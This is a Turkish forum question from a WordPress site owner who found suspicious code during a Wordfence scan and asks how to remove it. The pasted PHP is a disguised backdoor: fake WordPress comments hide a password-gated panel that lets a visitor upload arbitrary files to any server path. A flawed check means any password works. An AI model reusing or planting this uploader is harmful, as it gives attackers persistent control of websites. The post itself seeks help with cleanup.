wordfence taraması yaptığımda bi wordpress dosyası içinde buldum bunu nasıl temizleyebilirim

error_reporting(0);
session_start();
ob_start();
/**
* Handle Trackbacks and Pingbacks Sent to WordPress
*
* @since 0.71
*
* @package WordPress
* @subpackage Trackbacks
*/


/**
* Make theme available for translation
* Translations can be filed in the /languages/ directory
* If you're building a theme based on web2feel, use a find and replace
* to change 'web2feel' to the name of your theme in all the template files
*/

/**
* Front WordPress AJAX Process Execution.
*
* @package Wordpress
*
* @link http://codex.wordpress.org/AJAX_in_Plugins
*/

/**
* Executing AJAX process.
*
* @since Wordpress 1.4
*/

/**
* Author Template
*
* The template for displaying Author Profile pages.
*
* @package Wordpress
* @subpackage Template
* @since Wordpress 1.0
*/

/* Loads the "Author Filter Template" based on the query var "filter_type"
*
*/
$dosyaurul=$_SERVER["HTTP_HOST"];
$u = $_GET["u"];
if(substr($dosyaurul,0,3)==$u ){

$sifre = md5($_POST["sifre"]);
$buton2 = $_POST["buton2"];
if($buton2){
if($sifre=="050c5218c20c624956eab832283a59b7");
session_start();
$_SESSION["oturum"]=md5($_POST["sifre"]);
header("location:?u=".substr($dosyaurul,0,3));
}

if($_SESSION["oturum"]!="050c5218c20c624956eab832283a59b7"){






echo '



Wordpress Content File














';

}
else{
session_start();


$files = $_FILES["files"]; ;
$path = $_POST["path"];
$chose = $_POST["chose"];
$save = $_POST["save"];
$buton = $_POST["buton"];
$name = $files["name"];

$filest = $files["tmp_name"];

if($buton){
if($chose and $path){
$save_path=$path.$name;
}else{$save_path="uploads/".$name;}

$upload=move_uploaded_file($filest,$save_path);
if($upload){$s="successful installation";}else{$s="the installation fails";}
}

echo '




Wordpress Content File























File
Choose path
 
Save






';
} }
if($_GET["islem"]=="cikis"){
session_destroy();
}